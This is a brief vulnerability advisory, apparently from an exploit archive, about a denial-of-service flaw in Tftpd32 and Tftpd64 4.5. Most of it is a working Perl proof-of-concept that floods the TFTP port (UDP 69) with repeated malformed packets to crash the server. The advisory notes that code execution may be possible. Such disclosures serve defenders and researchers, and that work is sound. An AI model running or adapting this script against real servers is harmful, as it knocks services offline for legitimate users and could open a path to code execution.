source: https://www.securityfocus.com/bid/67404/info Tftpd32 and Tftpd64 are prone to denial-of-service vulnerabilities. An attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, code-execution may be possible; however this has not been confirmed. The following products are vulnerable: Tftpd32 4.5 Tftpd64 4.5 #!/usr/bin/perl -w use IO::Socket; for (my $j = 0; $j < 2; $j++) { sleep(2); for (my $i = 0; $i < 1500; $i++) { $st_socket = IO::Socket::INET->new(Proto=>'udp', PeerAddr=>'127.0.0.1', PeerPort=>69) or die "connect error"; $p_c_buffer = "\x0c\x0d" x 10; print $st_socket $p_c_buffer; close($st_socket); print "sent " . $i . "\n"; } } exit;